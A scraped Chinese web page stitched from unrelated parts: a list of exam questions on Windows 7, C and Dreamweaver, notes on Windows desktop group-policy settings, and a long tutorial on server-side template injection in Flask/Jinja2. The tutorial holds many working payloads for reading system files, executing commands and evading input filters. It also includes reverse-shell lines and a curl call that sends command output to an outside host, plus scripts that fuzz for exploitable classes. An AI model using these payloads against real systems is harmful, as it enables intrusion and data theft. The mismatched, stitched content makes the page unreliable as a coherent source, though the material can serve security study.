精华内容
下载资源
问答
  • (2.4分) 【单选题】Dreamweaver中,模板文档的扩展名为()。 【资料题】15日,购入青布一批,价款200 000元,增值税26 000元,价款和税款尚未支付,材料尚未到达。 【多选题】下列属于文件列表排列方式的有()。 (6.0分) ...

    【多选题】windows7的新功能包括()。 (6.0分)

    【资料题】23日,销售西装500套,销售单价300元/套,价款总计150 000元,增值税25 500元,价款税款收存银行。

    【单选题】Windows7资源管理器窗口要显示菜单栏,可以按()。 (2.4分)

    【单选题】下列文件属于静态网页的是()。

    【其它】请根据实验要求,自行练习!(此题无需回答) 实验1 Windows 7 操作.docx (1.0分)

    【单选题】下面程序的输出结果为 。 #include int main( ) { int x,y; y=x*x; printf("%d\n",y); return 0; }

    【填空题】在Windows7中,各个应用程序之间可通过_________交换信息。 (5.0分)

    【单选题】若要快速查看桌面小工具和文件夹,而又不希望最小化所有打开的窗口,可以使用()功能。 (2.4分)

    【单选题】在Dreamweaver中,模板文档的扩展名为()。

    【资料题】15日,购入青布一批,价款200 000元,增值税26 000元,价款和税款尚未支付,材料尚未到达。

    【多选题】下列属于文件列表排列方式的有()。 (6.0分)

    【多选题】在开始菜单“搜索”框中一经键入搜索项文本,被搜索对象的()中的任何文字与搜索项匹配就会被当作为搜索结果显示。 (6.0分)

    【单选题】使用()功能可以让两个窗口平分整个屏幕的面积,并左右排列在一起。 (2.4分)

    【单选题】下面哪项与变量的类型无关 。

    【单选题】在网页中常用的图像格式是()。

    【单选题】如果只希望保留当前正在使用的窗口,而又不希望逐个最小化所有其他打开的窗口,可以使用()功能。 (2.4分)

    【单选题】Windows7的桌面主题注重的是桌面的()。 (2.4分)

    【单选题】在网上浏览信息时经常会遇到要求填写注册资料或提供信息的情况,这些都是用()来制作的。

    【填空题】Windows 7 启动后,系统进入全屏幕区域,整个屏幕区域称为__________ (5.0分)

    【单选题】以下程序的输出为( ) #include int main() { int x=10,y=10; printf("%d,%d\n",--x,y--); return 0; }

    【资料题】9日,从银行取得一年期借款偿还华宁布业有限责任公司材料款50 000元。

    【单选题】如果要暂时离开计算机且不希望让别人使用计算机时,可以选择()。 (2.4分)

    【单选题】在Windows系统中,“回收站”的内容()。 (2.4分)

    【资料题】7日,采购员出差预借差旅费2 000元,现金付讫。

    【单选题】使用()功能可以快速查看其他打开的窗口,而无须在当前正在使用的窗口外单击。 (2.4分)

    【多选题】以下Windows7版本中,不能支持Aero特效的有()。 (6.0分)

    【单选题】Windows7的资源管理器窗口中,如果希望显示经典风格的‘’文件“菜单,可按()。 (2.4分)

    【单选题】在Windows7的资源管理器的窗口中,以下方法中不能新建文件夹的是()。 (2.4分)

    【单选题】已知字符'A'的ASCII码为十进制的65,下面程序的输出是( ) #include int main() { char ch1,ch2; ch1='A'+'7'-'3'; ch2='A'+'8'-'3'; printf("%d,%c\n",ch1,ch2); return 0; }

    【单选题】在资源管理器窗口中,若是选定多个不连续的文件或文件夹,需在按()+单击。 (2.4分)

    【单选题】在Windows7的资源管理器窗口中,利用导航窗格可以快捷地在不同的位置之间进行浏览,但该窗格一般不包括()部分。 (2.4分)

    【单选题】在Dreamweaver中,按下()快捷键,即可打开默认主浏览器,浏览网页。

    【单选题】在Windows7的休眠模式下,系统的状态是()的。 (2.4分)

    【单选题】在Windows7 的下列操作中,不能创建应用程序快捷方式的操作是()。 (2.4分)

    【单选题】x,y是整型变量,执行语句“scanf("x=%d,y=%d", &x,&y);”,要使x和y的值分别是5和10,正确的输入是( )

    【单选题】在Dreamweaver中,我们可以为链接设立目标,表示在新窗口打开目标网页的是()。

    【单选题】桌面图标实质上是()。 (2.4分)

    【资料题】18日,收到13日购入的蓝布,验收入库。

    【单选题】()是Windows7推出的第一大特色,它就是最近使用的项目列表,能够帮助用户迅速地访问历史记录。 (2.4分)

    【单选题】以下程序段的输出结果为( ) char c1= 'a'; int c2 = 65; putchar(c1); putchar(c2);

    【单选题】在下列四组选项中,不合法的用户标识符是( )

    【多选题】在Windows7中,可通过()来关闭窗口。 (6.0分)

    【单选题】如果要新增或删除程序,可以在控制面板上选用()功能。 (2.4分)

    【单选题】以下选项中能表示合法常量的是 _______ 。

    【单选题】()不是可选用的桌面上3种窗口排列形式之一。 (2.4分)

    【单选题】在Windows 7中右键单击某对象时,会弹出()菜单。 (2.4分)

    【单选题】在Windows7中选择全部文件夹或文件的快捷键是()。 (2.4分)

    【单选题】“项目列表”功能作用的对象是()。

    【单选题】在资源管理器上,用鼠标左键将应用程序文件拖拽到桌面的结果是()到桌面。 (2.4分)

    【单选题】Windows7系统通用桌面图标有5个,但不包含()。 (2.4分)

    展开全文
  • 隐藏和禁用桌面的所有项目:从桌面删除图标、快捷方式和其它默认的和用户定义的项目,包括“公文包”、“回收站”、“我的电脑”以及“网上邻居”。删除图标和快捷方式不防止用户用另一种方法启动程序或打开图标和...

    用户配置管理模板桌面

    用户配置管理模板桌面

    一。桌面

    1.隐藏和禁用桌面上的所有项目:

    从桌面删除图标、快捷方式和其它默认的和用户定义的项目,包括“公文包”、“回收站”、“我的电脑”以及“网上邻居”。

    删除图标和快捷方式不防止用户用另一种方法启动程序或打开图标和快捷方式所代表的项目。

    “参阅: 用户配置\管理模板\Windows 组件\通用打开文件对话框中的 ”位置栏中显示的项目“以从位置栏删除桌面图标。

    这将有助于防止用户将数据保存到桌面。

    2.删除桌面上的“我的文档”图标:

    删除大多数“我的文档”图标项。

    这项设置将“我的文档”图标从桌面、Windows 资源管理器、使用 Windows 资源管理器窗口的程序和标准“打开”对话框中删除。

    这项设置不能防止用户使用其它方法访问“我的文档”文件夹中的内容。该设置不会从「开始」菜单中删除“我的文档”图标。

    要这样做,请使用“从「开始」菜单中删除“我的文档”图标”设置。

    注意: 要使对该设置的更改生效,您必须注销并重新登录到 Windows 2000 Professional。

    3.删除桌面上的“我的电脑”图标:

    此设置隐藏桌面和新的开始菜单上的“我的电脑”。

    它还隐藏所有资源管理器窗口的 Web 视图上的到“我的电脑”的链接,并隐藏资源管理器文件夹树状窗格中的“我的电脑”。

    如果用户在启用此设置期间通过向上按钮导航到“我的电脑”之中,他们会看到一个空的“我的电脑”文件夹。

    此设置允许管理员限制其用户在外壳名称空间中看到“我的电脑”,从而允许他们向其用户显示一种更为简单的桌面环境。

    如果启用此设置,“我的电脑”就会在桌面、新的开始菜单、资源管理器文件夹树状窗格以及资源管理器 Web 视图中被隐藏起来。

    如果用户设法导航到“我的电脑”,此文件夹将会是空的。

    如果禁用此设置,“我的电脑”将会象平常一样在桌面、开始菜单、文件夹树窗格以及 Web 视图上显示出来,除非受到其它设置的限制。

    如果不配置此设置,则默认为象平常一样显示“我的电脑”。注意:隐藏“我的电脑”及其内容不会隐藏“我的电脑”的子文件夹中的内容。

    例如,如果用户导航到某个硬盘驱动器之中,他们将会在那里看到其所有文件夹和文件,即使是启用此设置时也是如此。

    4.从桌面删除“回收站”图标:

    删除大多数“回收站”图标项。

    该设置从桌面、Windows 资源管理器、使用 Windows 资源管理器窗口的程序和标准的“打开”对话框删除“回收站”。

    该设置不会阻止用户使用其他方法访问“回收站”文件夹的内容。

    注意: 为了使设置更改生效,您必须注销,然后再登录。

    5.从“我的文档”的上下文菜单中删除“属性”:

    此设置隐藏“我的文档”的上下文菜单中的“属性”菜单。

    如果您启用此设置,当用户右键单击“我的文档”或在“我的文档”中选择“文件”菜单时,“属性”选项将不会出现。同样,当选择“我的文档”时,按 Alt-Enter 不会有任何反应。

    如果您禁用或不配置此设置,“属性”选项将正常显示。

    6.从“我的电脑”的上下文菜单中删除“属性”:

    此设置隐藏“我的电脑”的“属性”上下文菜单。

    如果您启用此设置,当用户右键单击“我的电脑”或从“我的电脑”中选择“文件”菜单时,将看不到“属性”菜单。同样地,当选择“我的电脑”时,按 Alt-Enter 将不会有反应。

    如果您禁用或不配置此设置,“属性”选项将正常显示。

    7.删除“回收站”上下文菜单的属性:

    如果您启用此设置,当用户右键单击“回收站”或打开“回收站”后单击文件时,将不会显示“属性”选项。同样,当“回收站”被选择时,按 Alt-Enter 键将会没有反应。

    如果您禁用或不配置此设置,“属性”的选项会正常显示。

    8.隐藏桌面上“网上邻居”图标:

    从桌面上删除“网上邻居”图标。

    该设置仅影响桌面图标。不会防止用户连接网络或者浏览网络中共享的计算机。

    9.隐藏桌面上“Internet Explorer”图标:

    从桌面及任务栏上的“快速启动”上删除 Internet Explorer 图标。

    这个设置无法防止用户用其它方法来启动 Internet Explorer。

    10.不要将最近打开的文档的共享添加到“网上邻居”:

    远程共享文件夹不在您每次打开共享文件夹中的一个文档时就添加到“网上邻居”。

    如果您禁用或不配置这项设置,那么当您打开一个在远程共享文件夹中的一个文档时,系统将在您打开一个共享文件夹中的文档时,不自动将共享文件夹添加到“网上邻居”中。

    如果您启用这个设置,当您打开一个共享文件夹中的文档时,系统不自动将共享文件夹添加到“网上邻居”中。

    11.禁止用户更改“我的文档”路径:

    防止用户更改“我的文档”文件夹的路径。

    在默认情况下,用户可以在“我的文档”的“属性”对话框中键入新路径,来更改“我的文档”文件夹的位置。

    展开全文
  • 详解SSTI模板注入

    2021-09-09 17:21:50
    详解SSTI模板注入SSTI简介常见的模板引擎PHPJAVAPYTHONRUBYGOLANGSSTI产生的原因常用检测工具 TplmapFlask/Jinja模板引擎的相关绕过Flask简介demo漏洞代码基础知识沙盒逃逸Python的内建函数名称空间类继承寻找Python...

    SSTI简介

    • MVC是一种框架型模式,全名是Model View Controller
    • 即模型(model)-视图(view)-控制器(controller),在MVC的指导下开发中用一种业务逻辑、数据、界面显示分离的方法组织代码,将业务逻辑聚集到一个部件里面,在改进和个性化定制界面及用户交互的同时,得到更好的开发和维护效率
    • 在MVC框架中,用户的输入通过 View 接收,交给 Controller ,然后由 Controller 调用 Model 或者其他的 Controller 进行处理,最后再返回给 View ,这样就最终显示在我们的面前了,那么这里的 View 中就会大量地用到一种叫做模板的技术
    • 绕过服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,而模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,就会导致敏感信息泄露、代码执行、GetShell 等问题
    • 虽然市面上关于SSTI的题大都出在python上,但是这种攻击方式请不要认为只存在于 Python 中,凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言

    常见的模板引擎

    PHP

    • Smarty:Smarty 算是一种很老的 PHP 模板引擎,使用的比较广泛
    • Twig:Twig 是来自于 Symfony 的模板引擎,它非常易于安装和使用,它的操作有点像 Mustache 和 liquid
    • Blade:Blade 是 Laravel 提供的一个既简单又强大的模板引擎,和其他流行的 PHP 模板引擎不一样,Blade 并不限制你在视图中使用原生 PHP 代码,所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade 基本上不会给应用增加任何额外负担

    JAVA

    • JSP:这个是一个非常的经典 Java 的模板引擎
    • FreeMarker:是一种基于模板和要改变的数据,并用来生成输出文本(HTML网页、电子邮件、配置文件、源代码等)的通用工具, 它不是面向最终用户的,而是一个 Java 类库,是一款程序员可以嵌入他们所开发产品的组件
    • Velocity:Velocity 作为历史悠久的模板引擎不单单可以替代 JSP 作为 Java Web 的服务端网页模板引擎,而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力

    PYTHON

    • Jinja2:flask jinja2 一直是一起说的,使用非常的广泛
    • django:django 应该使用的是专属于自己的一个模板引擎,django 以快速开发著称,有自己好用的ORM,他的很多东西都是耦合性非常高的
    • tornado:tornado 也有属于自己的一套模板引擎,tornado 强调的是异步非阻塞高并发

    RUBY

    ERB:全称是Embedded RuBy,意思是嵌入式的Ruby,是一种文本模板技术,和 JSP 的语法很像

    GOLANG

    • 关于 Golang Template 的 SSTI 研究目前来说还比较少,可能是因为本身设计的也比较安全,现在一般是点和作用域的问题

    SSTI产生的原因

    • 服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题

    常用检测工具 Tplmap

    Flask/Jinja模板引擎的相关绕过

    • 由于 Flask/Jinja 模板引擎的出现漏洞的几率较大,网上对于这方面的分析的文章也很多,这里对其做个总结

    Flask简介

    • Flask 是一个用 Python 编写的 Web 应用程序框架,其优点是提供给用户的扩展能力很强,框架只完成了简单的功能,有很大一部分功能可以让用户自己选择并实现

    demo漏洞代码

    from flask import Flask
    from flask import render_template
    from flask import request
    from flask import render_template_string
    app = Flask(__name__)
    @app.route('/test',methods=['GET', 'POST'])
    def test():
        template = '''
            <div class="center-content error">
                <h1>Oops! That page doesn't exist.</h1>
                <h3>%s</h3>
            </div> 
        ''' %(request.url)
        return render_template_string(template)
    
    if __name__ == '__main__':
        app.run(host='127.0.0.1', debug=True)
    

    基础知识

    沙盒逃逸

    • 沙箱逃逸就是在一个代码执行环境下 (Oj 或使用 socat 生成的交互式终端),脱离种种过滤和限制,最终成功拿到 shell 权限的过程

    Python的内建函数

    • 启动 python 解释器时,即使没有创建任何变量或函数还是会有很多函数可供使用,这些就是 python 的内建函数
    • 在 Python 交互模式下,使用命令 dir('builtins') 即可查看当前 Python 版本的一些内建变量、内建函数,内建函数可以调用一切函数

    名称空间

    • 要了解内建函数是如何工作的,首先需要需要了解一下名称空间,Python 的名称空间是从名称到对象的映射,在 Python 程序的执行过程中至少会存在两个名称空间
    1. 内建名称空间:Python 自带的名字,在 Python 解释器启动时产生,存放一些 Python 内置的名字
    2. 全局名称空间:在执行文件时,存放文件级别定义的名字
    3. 局部名称空间(可能不存在):在执行文件的过程中,如果调用了函数,则会产生该函数的名称空间,用来存放该函数内定义的名字,该名字在函数调用时生效,调用结束后失效
    • 加载顺序:内置名称空间 —> 全局名称空间 —> 局部名称空间
    • 名字的查找顺序:局部名称空间 —> 全局名称空间 —> 内置名称空间

    类继承

    • 构造 Python-SSTI 的 Payload 需要什么是类继承
    • Python 中一切均为对象,均继承于 object 对象,Python 的 object 类中集成了很多的基础函数,假如需要在 Payload 中使用某个函数就需要用 object 去操作
    • 常见的继承关系的方法有以下三种:
    1. base:对象的一个基类,一般情况下是 object
    2. mro:获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object 在最底层所以在列表中的最后,通过 mro[-1] 可以获取到
    3. subclasses():继承此对象的子类,返回一个列表
    • 攻击方式为:变量 -> 对象 -> 基类 -> 子类遍历 -> 全局变量

    寻找Python-SSTI攻击载荷的过程

    攻击载荷过程

    • 获取基本类
    对于返回的是定义的Class类的话:
    __dict__          //返回类中的函数和属性,父类子类互不影响
    __base__          //返回类的父类 python3
    __mro__           //返回类继承的元组,(寻找父类) python3
    __init__          //返回类的初始化方法   
    __subclasses__()  //返回类中仍然可用的引用  python3
    __globals__       //对包含函数全局变量的字典的引用 python3
    
    对于返回的是类实例的话:
    __class__         //返回实例的对象,可以使类实例指向Class,使用上面的魔术方法
    
    ''.__class__.__mro__[-1]
    {}.__class__.__bases__[0]
    ().__class__.__bases__[0]
    [].__class__.__bases__[0]
    
    • 此外,在引入了 Flask/Jinja 的相关模块后还可以通过以下字符来获取基本类
    config
    request
    url_for
    get_flashed_messages
    self
    redirect
    
    • 获取基本类后,继续向下获取基本类 (object) 的子类
    object.__subclasses__()
    
    • 找到重载过的 __init__ 类,在获取初始化属性后,带 wrapper 的说明没有重载,寻找不带 warpper 的;也可以利用 .index()去找 file, warnings.catch_warnings
    ''.__class__.__mro__[2].__subclasses__()[99].__init__
    <slot wrapper '__init__' of 'object' objects>
    
    ''.__class__.__mro__[2].__subclasses__()[59].__init__
    <unbound method WarningMessage.__init__>
    
    • 查看其引用 __builtins__
    ''.__class__.__mro__[2].__subclasses__()[138].__init__.__globals__['__builtins__']
    
    • 这里会返回 dict 类型,寻找 keys 中可用函数,使用 keys 中的 file 等函数来实现读取文件的功能
    ''.__class__.__mro__[-1].__subclasses__()[138].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
    

    常用的目标函数

    file
    subprocess.Popen
    os.popen
    exec
    eval
    

    常见的中间对象

    catch_warnings.__init__.func_globals.linecache.os.popen('bash -i >& /dev/tcp/127.0.0.1/233 0>&1')
    lipsum.__globals__.__builtins__.open("/flag").read()
    linecache.os.system('ls')
    

    fuzz可利用类脚本

    • 例如对 subprocess.Popen 可以构造如下 fuzz 脚本
    import requests
    
    url = ""
    
    index = 0
    for i in range(100, 1000):
        #print i
        payload = "{{''.__class__.__mro__[-1].__subclasses__()[%d]}}" % (i)
        params = {
            "search": payload
        }
        #print(params)
        req = requests.get(url,params=params)
        #print(req.text)
        if "subprocess.Popen" in req.text:
            index = i
            break
    
    
    print("index of subprocess.Popen:" + str(index))
    print("payload:{{''.__class__.__mro__[2].__subclasses__()[%d]('ls',shell=True,stdout=-1).communicate()[0].strip()}}" % i)
    

    服务端fuzz

    • 利用 {%for%}语句块来在服务端进行 fuzz
    {% for c in [].__class__.__base__.__subclasses__() %}
      {% if c.__name__=='catch_warnings' %}
      {{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('<command>').read()") }}
      {% endif %}
    {% endfor %}
    

    Python常用的命令执行方式

    1. os.system():该方法的参数就是 string 类型的命令,在 linux 上返回值为执行命令的 exit 值;而windows上返回值则是运行命令后 shell 的返回值;注意:该函数返回命令执行结果的返回值,并不是返回命令的执行输出(执行成功返回0,失败返回-1)
    1. os.popen():返回的是 file read 的对象,如果想获取执行命令的输出,则需要调用该对象的 read() 方法

    Python-Web框架配置文件

    Tornado

    • handler.settings:handler.settings-> RequestHandler.application.settings,可以获取当前 application.settings,从中获取到敏感信息

    flaks

    • 内置函数:config 是 Flask 模版中的一个全局对象,代表"当前配置对象(flask.config)",是一个类字典的对象,包含了所有应用程序的配置值,在大多数情况下包含了比如数据库链接字符串,连接到第三方的凭证,SECRET_KEY等敏感值
    • url_for():用于反向解析生成 url
    • get_flashed_messages():用于获取 flash 消息
    {{url_for.__globals__['__builtins__'].__import__('os').system('ls')}}
    
    如果过滤了{{config}}且框架是flask的话便可以使用如下payload进行代替
    
    {{get_flashed_messages.__globals__['current_app'].config}}
    {{url_for.__globals__['current_app'].config}}
    

    Flask过滤器

    定义

    • flask 过滤器和其它语言的过滤器作用几乎一致,对数据进行过滤,可以参考 php 伪协议中的 php://filter 协议,支持链式过滤

    使用方式

    变量|过滤器
    variable|filter(args)    
    variable|filter        //如果过滤器没有参数可以不加括号
    

    用的过滤器

    int():将值转换为int类型;
    
    float():将值转换为float类型;
    
    lower():将字符串转换为小写;
    
    upper():将字符串转换为大写;
    
    title():把值中的每个单词的首字母都转成大写;
    
    capitalize():把变量值的首字母转成大写,其余字母转小写;
    
    trim():截取字符串前面和后面的空白字符;
    
    wordcount():计算一个长字符串中单词的个数;
    
    reverse():字符串反转;
    
    replace(value,old,new): 替换将old替换为new的字符串;
    
    truncate(value,length=255,killwords=False):截取length长度的字符串;
    
    striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
    
    escape()或e:转义字符,会将<>等符号转义成HTML中的符号,显例:content|escape或content|e;
    
    safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义,示例: {{'<em>hello</em>'|safe}}list():将变量列成列表;
    
    string():将变量转换成字符串;
    
    join():将一个序列中的参数值拼接成字符串;
    
    abs():返回一个数值的绝对值;
    
    first():返回一个序列的第一个元素;
    
    last():返回一个序列的最后一个元素;
    
    format(value,arags,*kwargs):格式化字符串,比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!
    
    length():返回一个序列或者字典的长度;
    
    sum():返回列表内数值的和;
    
    sort():返回排序后的列表;
    
    default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替,示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代,boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true,也可以使用or来替换
    

    模块查找脚本

    • Python2
    num = 0
    for item in ''.__class__.__mro__[-1].__subclasses__():
        try:
            if 'os' in item.__init__.__globals__:
                print num,item
            num+=1
        except:
            num+=1
    
    • Python3
    #!/usr/bin/python3
    # coding=utf-8
    # python 3.5
    #jinja2模板
    from flask import Flask
    from jinja2 import Template
    # Some of special names
    searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
    neededFunction = ['eval', 'open', 'exec']
    pay = int(input("Payload?[1|0]"))
    for index, i in enumerate({}.__class__.__base__.__subclasses__()):
        for attr in searchList:
            if hasattr(i, attr):
                if eval('str(i.'+attr+')[1:9]') == 'function':
                    for goal in neededFunction:
                        if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
                            if pay != 1:
                                print(i.__name__,":", attr, goal)
                            else:
                                print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")
    

    常见Payload

    • Python2
    #python2有file
    #读取密码
    ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
    #写文件
    ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')
    #OS模块
    system
    ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
    popen
    ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()
    #eval
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
    #__import__
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
    #反弹shell
    ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服务器地址/端口 0>&1').read()
    ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/xxxx/9999 0>&1"')
    注意该Payload不能直接放在 URL 中执行 , 因为 & 的存在会导致 URL 解析出现错误,可以使用burp等工具
    #request.environ
    与服务器环境相关的对象字典
    
    • Python3
    #python3没有file,用的是open
    #文件读取
    {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
    {{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("dir").read()')}}
    #命令执行
    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
    [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')
    

    常见可利用类

    • 文件读取_方法一_子模块利用
    • 存在的子模块可以通过 .index() 来进行查询,如果存在的话返回索引
    ''.__class__.__mro__[2].__subclasses__().index(file)
    
    • flie 类:(在字符串的所属对象种获取 str 的父类,在其 object 父类种查找其所有子类,第 41 个为 file 类)
    ''.__class__.__mro__[2].__subclasses__()[40]('<File_To_Read>').read()
    
    • _frozen_importlib_external.FileLoader 类:(前置查询一样,其是第 91 个类)
    ''.__class__.__mro__[2].__subclasses__()[91].get_data(0,"<file_To_Read>")
    
    • 文件读取_方法二_通过函数解析->基本类->基本类子类->重载类->引用->查找可用函数
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()    #将read() 修改为 write() 即为写文件
    
    • 命令执行_方法一_利用 eval 进行命令执行
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
    
    • 命令执行_方法二_利用 warnings.catch_warnings 进行命令执行
    查看 warnings.catch_warnings 方法的位置
    [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
    
    查看 linecatch 的位置
    [].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')
    
    查找os模块的位置
    [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')
    
    查找system方法的位置(在这里使用os.open().read()可以实现一样的效果,步骤一样,不再复述)
    [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
    
    调用system方法
    [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
    
    • 命令执行_方法三_利用 commands 进行命令执行
    {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
    
    {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
    
    {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
    

    遇到SSTI题目时的思路

    • 考虑查看配置文件或者考虑命令执行

    花式绕过

    绕过中括号

    • pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值,或者用 getitem
    __mro__[2]== __mro__.__getitem__(2)
    ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
    

    绕过引号

    • request.args、request.values、request.cookies 是 flask 中的属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来进而绕过了引号的过滤
    {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
    

    绕过双下划线

    • 同样利用 request.args、request.values、request.cookies
    {{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
    

    拼接绕过

    object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
    ().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()
    

    编码绕过

    ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))(
    等价于
    ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")
    

    绕过{{或}}

    • 使用 {% 进行绕过
    {% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}
    

    绕过.

    • 可以使用 attr()[] 绕过
    {{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}
    
    {{ config['__class__']['__init__']['__globals__']['os']['popen']('dir')['read']() }}
    

    过滤圆括号

    • 对函数执行方式进行重载,比如将 request.__class__.__getitem__=__builtins__.exec;,那么执行 request[payload] 时就相当于 exec(payload) 了,使用 lambda 表达式进行绕过

    绕过_和引号

    • 可以用 |attr 绕过
    {{()|attr(request.values.a)}}&a=class
    
    • 使用 request 对象绕过,假设过滤了 __class__ 可以使用下面的形式进行替代
    {{''[request.args.t1]}}&t1=__class__
    #若request.args改为request.values则利用post的方式进行传参
    
    {{''[request['args']['t1']]}}&t1=__class__
    #若使用POST,args换成form即可
    

    关键词过滤

    • base64编码绕过
    {{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
    
    • 字符串拼接绕过
    {{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
    
    • 利用dict拼接
    {% set a=dict(o=x,s=xx)|join %}
    
    • 利用string
    • 比如 ' 可以用下面方式拿到并存放在 quote
    {% set quote = ((app.__doc__|list()).pop(337)|string())%}
    类似的还有
    {% set sp = ((app.__doc__|list()).pop(102)|string)%}
    {% set pt = ((app.__doc__|list()).pop(320)|string)%}
    {% set lb = ((app.__doc__|list()).pop(264)|string)%}
    {% set rb = ((app.__doc__|list()).pop(286)|string)%}
    {% set slas = (eki.__init__.__globals__.__repr__()|list()).pop(349)%}
    {% set xhx = (({ }|select()|string()|list()).pop(24)|string())%}
    
    • 通过 ~ 可以将得到的字符连接起来
    • 例如一个 eval 的 Payload
    {% set xhx = (({ }|select()|string|list()).pop(24)|string)%}
    {% set sp = ((app.__doc__|list()).pop(102)|string)%}
    {% set pt = ((app.__doc__|list()).pop(320)|string)%}
    {% set quote = ((app.__doc__|list()).pop(337)|string)%}
    {% set lb = ((app.__doc__|list()).pop(264)|string)%}
    {% set rb = ((app.__doc__|list()).pop(286)|string)%}
    {% set slas = (eki.__init__.__globals__.__repr__()|list()).pop(349)%}
    {% set bu = dict(buil=x,tins=xx)|join %}
    {% set im = dict(imp=x,ort=xx)|join %}
    {% set sy = dict(po=x,pen=xx)|join %}
    {% set oms = dict(o=x,s=xx)|join %}
    {% set fl4g = dict(f=x,lag=xx)|join %}
    {% set ca = dict(ca=x,t=xx)|join %}
    {% set ev = dict(ev=x,al=xx)|join %}
    {% set red = dict(re=x,ad=xx)|join%}
    {% set bul = xhx*2~bu~xhx*2 %}
